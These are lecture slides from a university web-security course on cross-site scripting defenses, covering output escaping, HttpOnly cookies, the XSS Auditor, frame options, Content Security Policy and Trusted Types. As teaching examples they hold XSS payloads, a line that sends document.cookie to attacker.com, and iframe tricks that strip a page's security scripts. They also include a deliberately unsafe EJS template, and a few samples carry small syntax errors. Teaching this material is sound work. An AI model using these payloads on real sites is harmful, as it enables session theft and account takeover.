
CS 253: Web Security
Cross-Site Scripting Defenses

1 Feross Aboukhadijeh



Admin
• This Friday: Assignment 1 due at 5:00pm
• Next Tuesday: Guest Lecture on Fingerprinting and Privacy on the 

Web by Pete Snyder from Brave Software
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Review: Cross-Site Scripting
• HTML template:

<p>Welcome, USER_DATA_HERE</p>

• User input: <script>alert(document.cookie)</script>
• Resulting page (without escaping):

<p><script>Welcome, alert(document.cookie)</script></p>
• Resulting page (with escaping):

<p>Welcome, &lt;script>alert(document.cookie)&lt;/script></p>
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Review: Reflected XSS vs. Stored XSS
• In reflected XSS, the attack code is placed into the HTTP request itself

• Attacker goal: find a URL that you can make target visit that includes 
your attack code

• Limitation: Attack code must be added to the URL path or query 
parameters

• In stored XSS, the attack code is persisted into the database
• Attacker goal: Use any means to get attack code into the database
• Once there, server includes it a page sent to clients
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Injecting down vs. injecting up
• Injecting down: Create a new nested context
• Injecting up: End the current context to go to a higher context
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Injecting down
• Injecting down: Create a new nested context
• Template:

<p>Welcome, USER_DATA_HERE</p>
• Result:

<p>Welcome <script>alert(document.cookie)</script></
p>
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Injecting up
• Injecting up: End the current context to go to a higher context
• Template:

<img src='avatar.png' alt='USER_DATA_HERE' />
• Result:

<img src='avatar.png' alt='Feross' 
onload='alert(document.cookie)' />
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XSS defenses
• Remember: Code injection is caused when untrusted user data 

unexpectedly becomes code
• A better name for Cross Site Scripting would be "HTML Injection"
• Goal: need to "escape" or "sanitize" user input before combining it 

with code (the HTML template)
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Where untrusted data comes from
• HTTP request from user

• Query parameters, form fields, headers, cookies, file uploads
• Data from a database

• Who knows how the data got into the database? Do not trust.
• Third-party services

• Who knows if it's safe?
• Even if it is, what if the service gets hacked and starts sending unsafe 

data?
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When to escape?
• On the way into the database, or on the way out at render time?

• Always: on the way out, at render time
• Why?

• Even if you are sure that you control all possible ways for data to 
get into the database, you don't know in advance what context the 
data will appear in

• Different contexts have different "control characters" (characters 
that need to be escaped)
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How to escape user input?
• Use your framework's built-in HTML escaping functionality

• Linus's Law: "Given enough eyeballs, all bugs are shallow"
• If/when bugs are found, you'll get the fix for free!

• Also, make sure you know the contexts where it is safe to use the 
output
• e.g. don't use an HTML escaping function and put the output into 

a <script> tag or an HTML comment
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Escaping with EJS
• EJS template:

<% if (user) { %>
  <h2><%= user.name %></h2>
<% } %>

• Server code:

res.render('template-name', { user })
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Case study: React
• The obvious path automatically escapes the HTML:

const input = '<h1>Hi</h1>'
const component = <div>{input}</div>

• Even explicitly setting innerHTML won't cause XSS:

const input = '<h1>Hi</h1>'
const component = <div innerHTML={input} />
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Case study: React
• This is the solution in React:
const input = '<h1>Hi</h1>'
const component = <div dangerouslySetInnerHTML={{ __html: html }} />

• Key idea: Dangerous code should look dangerous!
• Goal: Everyone who looks at this code should be like "gross, can we 

refactor this to not need dangerouslySetInnerHTML?" and/or 
scrutinize the code very closely
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Case study: React
• Another amusing example from React:

React.__SECRET_DOM_DO_NOT_USE_OR_YOU_WILL_BE_FIRED

• Another idea to try:

function foo (param1, param2, disclaimer) {
  if (disclaimer !== 'I understand calling this method is \
      a temporary hack and I\'ll be required to fix my code \
      immediately if it goes away.') {
    throw new Error('Disclaimer not specified')
  }
  // ... rest of function
}
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Demo: EJS escaping
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Demo: EJS escaping
• It's way too easy to make a mistake with EJS

const express = require('express')
const ejs = require('ejs')

const app = express()

app.get('/', (req, res) => {
  const name = req.query.name || 'unnamed person'
  const template = `
    <h1>Hi, <%= name %>.</h1>
    <p>Welcome to our site, <%- name %>!</p> <!-- unsafe! -->
  `
  const html = ejs.render(template, { name })
  res.send(html)
})

app.listen(4000)
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EJS has many confusing tag prefixes
• <% 'Scriptlet' tag, for control-flow, no output

• <%_ ‘Whitespace Slurping’ Scriptlet tag, strips all whitespace before it

• <%= Outputs the value into the template (HTML escaped)

• <%- Outputs the unescaped value into the template

• <%# Comment tag, no execution, no output

• <%% Outputs a literal '<%'

• %> Plain ending tag

• -%> Trim-mode ('newline slurp') tag, trims following newline

• _%> ‘Whitespace Slurping’ ending tag, removes all whitespace after it
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Realization: XSS is going to happen
• XSS is one of the most common vulnerabilities
• What if we accept that XSS will happen to our site?
• How can we defend our site's users even in the presence of XSS?

• Remember: With XSS, attacker code is running in the same page 
as the user's data (cookies, other private data)

• This seems like a tall order!
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Key idea: Defense-in-depth
• Goal: Provide redundancy in case security controls fail, or a 

vulnerability is exploited
• Attacker now has to find multiple exploitable vulnerabilities in order 

to produce a successful attack
• What are some examples of defense-in-depth you've encountered?

• Set a strong password + two-factor authentication
• Plus: email notifications which act as an audit log
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Defending the user's cookies
• Use HttpOnly cookie attribute to prevent cookie from being read 

from JavaScript in the user's browser

Set-Cookie: key=value; HttpOnly

• HttpOnly defeats this attack code:

new Image().src = 'https://attacker.com/steal?
cookie=' + document.cookie

• Note: This restriction applies to JavaScript from the site author too!
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XSS Auditor
• Introduced in Chrome 4 in 2010
• Runs during the HTML parsing phase and attempts to find 

reflections from the request to the response body
• Does not attempt to mitigate Stored XSS or DOM-based XSS

• Sounds pretty useful, right?
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Demo: XSS Auditor working as 
intended
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Demo: XSS Auditor working as 
intended
http://bank.com:8000/?source=%3Cscript%3Edocument.body.style.backgroundColor=%27red%27%3C/script%3E

• Safari will block this attack because of XSS Auditor
• Chrome, Firefox, Edge, etc. do not block this attack
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XSS Auditor's many problems
• False negatives: Lots of ways to bypass it
• False positives: No way of knowing whether a given script block which appears in 

both the request and the response was truly reflected from the request to the 
response

• Take a page which contains <script>alert('hi')</script>
• If user visits page normally, Auditor does not trigger

• If user visits page with query string ?query=<script>alert('hi')</script> 
then Auditor concludes this is an XSS attack!

• Bad idea. All but Safari have removed it as of 2021
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Demo: Sniping code out of a page 
using XSS Auditor
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Demo: Sniping code out of a page
• Say bank.com contains some inconvenient code:
<script>if (window.top.location != window.location) {
  document.body.textContent = 'Attack detected'; document.body.style.backgroundColor='red';
}</script>

• Then attacker.com can frame the page and make it look like a Reflected XSS:

<iframe src='http://bank.com:8000/?q=%3Cscript%3Eif%20(window.top.location%20!%3D%20
window.location)%20%7B%20document.body.textContent%20%3D%20%27Attack%20detected%27%3B%20
document.body.style.backgroundColor%3D%27red%27%3B%20%7D%3C%2Fscript%3E'></iframe>

• The XSS Auditor will helpfully remove the matching script from the page!
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Quick tangent: Can we prevent a site 
from embedding our site?
• Why do this?

• Prevent clickjacking attacks
• How might we accomplish this?

• Check if we are framed via JavaScript (frame busting) – BROKEN
• Need a new HTTP header!

29 Feross Aboukhadijeh



Frame busting
if (window.top.location != window.location) {
  window.top.location = window.location
}

• Don't do this!
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X-Frame-Options HTTP Header
• X-Frame-Options not specified (Default)

• Any page can display this page in an iframe

• X-Frame-Options: deny

• Page can not be displayed in an iframe

• X-Frame-Options: sameorigin

• Page can only be displayed in an iframe on the same origin as the 
page itself
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Sniping an external script
• Target page:

<!doctype html>
<h1>Hi</h1>
<script src='/security.js'></script>
<script>
  // assumes that the libraries are included
</script>

• Security script can be sniped out with:

<iframe src='http://bank.com/?query=
%3Cscript%20src=%27/security.js%27%3E%3C/script%3E'></iframe>
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Video: XSS Auditor introduces cross-
site information leaks
https://youtu.be/PlXzrtheQGc?
list=PL1y1iaEtjSYiiSGVlL1cHsXN_kvJOOhu-&t=2500
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Content Security Policy (CSP)
• Previously, we talked about ways to tighten up Same Origin Policy in 

terms of which sites could e.g. send requests with cookies to our site
• That is, preventing other sites from making certain requests to our 

site
• CSP is inverse: prevent our site from making requests to other sites
• CSP is an added layer of security against XSS

• Even if attacker code is running in user's browser in our site's 
context, we can limit the damage they can do
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The Content-Security-Policy HTTP 
header
• Add the Content-Security-Policy header to an HTTP response 

to control the resources the page is allowed to load
• CSP blocks HTTP requests which would violate the policy
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Goal: Content comes from our site
Content-Security-Policy: default-src 'self'

• Is <script src='/hello.js'></script> allowed?
• Yes, relative URLs are loaded from the same origin

• Is <script src='https://other.com/script.js'></script> allowed?
• No, script comes from a different origin

• Is <script>alert('hello')</script> allowed?
• No, inline scripts are prevented. Strong protection against XSS!

• Is <div onmouseover='alert("hello")'></div> allowed?
• No, inline scripts are prevented. Strong protection against XSS!
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Goal: Content comes from our site, 
plus a trusted set of subdomains
Content-Security-Policy:
  default-src 'self' *.trusted.com
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Example: Web mail provider
• Goal: Allow resources from our site, including our subdomains, but 

block resources from anywhere else. Also, allow images to come 
from anywhere.

Content-Security-Policy:
  default-src 'self' *.webmail.com;
  img-src *
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Deploy CSP on an existing site
• Problem: How do we figure out what the policy should be? What if 

we miss something? Site breaks!
• Solution: Deploy it in report-only mode

Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri https://example.com/report

• Policy is not enforced, but violations are reported to a provided URL

53 Feross Aboukhadijeh



Detect blocked XSS attacks
• Problem: How do we catch XSS attacks that our CSP blocked so we 

can fix the root issue?
• Solution: Enable policy violation reports!

Content-Security-Policy:
  default-src 'self';
  report-uri https://example.com/report

• Also useful for finding where CSP is breaking the site
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CSP fetch directives
• default-src - Serves as a fallback for other fetch directives

• connect-src - Restricts sources from "script interfaces": fetch, XHR, WebSocket, EventSource, Nagivator.sendBeacon(), <a ping>

• font-src Restricts sources for fonts

• frame-src - Restricts sources for nested browsing contexts: <frame>, <iframe>

• img-src - Restricts sources for images, favicons

• manifest-src - Restricts sources for app manifest files

• media-src - Restricts sources for media: <audio>, <video>, <track>

• object-src - Restricts legacy plugins: <object>, <embed>, and <applet>

• script-src - Restricts sources for <script> elements

• style-src - Restricts sources for <style> and <link rel='stylesheet'> elements

• worker-src - Restricts sources for Worker, SharedWorker, and ServiceWorker
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Other CSP directives
Note: These directives DO NOT inherit from default-src. If left unspecified, they allow everything!

• base-uri - Restricts URLs which can be used in <base>

• form-action - Restricts URLs which can be used as target of form submission

• frame-ancestors - Restricts parents which may embed this page using <frame>, 
<iframe>

• navigate-to - Restricts the URLs to which a document can initiate navigation by any means

• upgrade-insecure-requests - Instruct browser to treat all HTTP URLs as the HTTPS 
equivalent transparently
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When theory meets reality
Content-Security-Policy:
  default-src: 'self';
  script-src: 'self' https://www.google-analytics.com

<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>

• CSP breaks the site! Why?
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script-src blocks inline scripts
• Most XSS attacks use inline scripts

• Use 'unsafe-inline' to allow inline scripts, but this is basically 
equivalent to having no CSP!

• It allows any inline <script> tag to execute!

• Better solution would be to move the code to /script.js hosted 
on our own site (which is an allowed script source by script-src)
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When theory meets reality
Content-Security-Policy:
  default-src: 'self';
  script-src: 'self' https://www.google-analytics.com 'unsafe-inline'

<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>

• CSP breaks the site! Why?
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The script includes a tiny image
When there's an event to track, the script runs this:

new Image().src =
  'https://www.google-analytics.com/r/collect=' + someData
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When theory meets reality
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>

Content-Security-Policy:
  default-src: 'self';
  img-src: 'self' https://www.google-analytics.com;
  script-src: 'self' https://www.google-analytics.com 'unsafe-inline'

• Finally works, but it's fragile! What if they start sending data to another domain?
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When theory meets reality
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>

Content-Security-Policy:
  default-src: 'self';
  img-src: *;
  script-src: 'self' https://www.google-analytics.com 'unsafe-inline'

• Still fragile, what if the script includes a script from another domain?
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Scripts on scripts on scripts...
• Script could do something like this (in fact it used to!):

const script = document.createElement('script')
script.src = 'https://ssl.google-analytics.com/script.js'
document.body.appendChild(script)

• How do we ensure CSP never breaks the site, even when new scripts are added?
• Propagate trust from the initial script (which we trust) to any scripts it 

includes at runtime (which we want to implicitly trust) no matter where that 
script comes from
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"CSP is Dead" findings
• "14 out of the 15 domains most commonly whitelisted for loading 

scripts contain unsafe endpoints; as a consequence, 75.81% of 
distinct policies use script whitelists that allow attackers to bypass 
CSP"

• "94.68% of policies that attempt to limit script execution are 
ineffective"

• "99.34% of hosts with CSP use policies that offer no benefit against 
XSS"
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Useless CSP
• Site https://uselesscsp.com (no longer online) collects examples of 

useless CSP
• "CSP is notoriously tricky to get right, but some people aren't even 

trying and are likely adding headers to tick a box on their 
assessment report."

• "Most of them are listed on this website because of their usage of 
'unsafe-inline' and 'unsafe-eval' in the script-src part"
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Introducing strict-dynamic
• Server sends:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123...'

<script src='https://trusted.com/good.js' nonce='abc123'></script>
<script nonce='abc123'>foo()</script>

• "Specifies that the trust explicitly given to a script present in the markup, 
by accompanying it with a nonce, shall be propagated to all the scripts 
loaded by that root script"

• No need to specify an allowlist anymore!
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Introducing strict-dynamic
• Server sends:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'

<script src='https://trusted.com/good.js' nonce='abc123'></script>
<script src='https://attacker.com/evil.js'></script>
<script>alert(document.cookie)</script>

• Attacker can't figure out the nonce. Why?
• Nonce changes on each page load, and is unpredictable
• Attacker can't inspect the DOM to read the nonce unless they're already running 

JavaScript
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Some browsers do not support 
strict-dynamic yet
• "When strict-dynamic is included, any whitelist or source expressions such as 'self' 

or 'unsafe-inline' will be ignored"
• So, just keep the full list of allowed origins in there as a fallback in unsupported browsers.
• Or, just keep it simple:

Content-Security-Policy:
  script-src 'strict-dynamic' 'nonce-NONCE_GOES_HERE'
  * 'unsafe-inline';
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Other CSP gotchas
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JavaScript from "public hosting" 
domains
• Attack input:
<script src='https://raw.githubusercontent.com/attacker/repo/master/script.js'></script>

• Server response:

// Whatever code the attacker wants
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Symbolic execution
• Typical AngularJS code:

<script src='/angular.js'></script>
<div ng-app>{{ 9000 + 1 }}</div>

• AngularJS parses templates and executes them
• Attack input:

<div ng-app>{{ alert(document.cookie) }}</div>
• Therefore, the ability to control templates parsed by Angular is equivalent to 

executing arbitrary JavaScript
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Unexpected JavaScript-parseable 
responses
• Attack input:

<script src='/alert(document.cookie)%2F%2F'></
script>

• Error messages echoing request parameters:

Error: alert(document.cookie)// not found.
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Unexpected JavaScript-parseable 
responses
• Attack input:

<script src='/file.csv?q=alert(document.cookie)'></script>
• Comma-separated value (CSV) data with partially

attacker-controlled contents:

Name,Value
alert(document.cookie),234
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Reasonable "starter" CSP header
Content-Security-Policy:
  default-src 'self' data:;
  img-src *;
  object-src 'none';
  script-src 'strict-dynamic' 'nonce-NONCE_GOES_HERE'
    * 'unsafe-inline';
  style-src 'self' 'unsafe-inline';
  base-uri 'none';
  frame-ancestors 'none';
  form-action 'self';
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DOM-based XSS
• Assume DOM is modified by valid script running in the browser
• Attacker tricks this script into adding attacker DOM nodes into page
• Unlike reflected or stored XSS, the attacker doesn't change the HTML 

rendered by the server. Instead, page is attacked at "runtime"

const data = await fetch('/api/bio?user=feross')

document.getElementById('bio').innerHTML = data

• Solution: Instead of innerHTML, use textContent
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Trusted Types
• CSP only protects against Reflected XSS and Stored XSS
• What about DOM-based XSS?

const data = await fetch('/api/bio?user=feross')
document.getElementById('bio').innerHTML = data

• There's a new web spec called "Trusted Types" that if deployed in 
browsers would completely eliminate most DOM-based XSS
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Trusted Types
Content-Security-Policy: trusted-types template

const templatePolicy = TrustedTypes.createPolicy('template', {
  createHTML: (userInput) => {
    return htmlEscape(userInput)
  }
})
const data = await fetch('/api/bio?user=feross')
const html = templatePolicy.createHTML(data)
// html instanceof TrustedHTML
document.getElementById('bio').innerHTML = html
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Final thoughts
• XSS vulnerabilities are pervasive in real-world sites – be vigilant!
• Never trust data from the client – always sanitize it!
• Be aware of the context you're including user data in – escape it 

appropriately!
• Use CSP and (soon) Trusted Types to prevent nearly all XSS!
• You can never be too paranoid
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END
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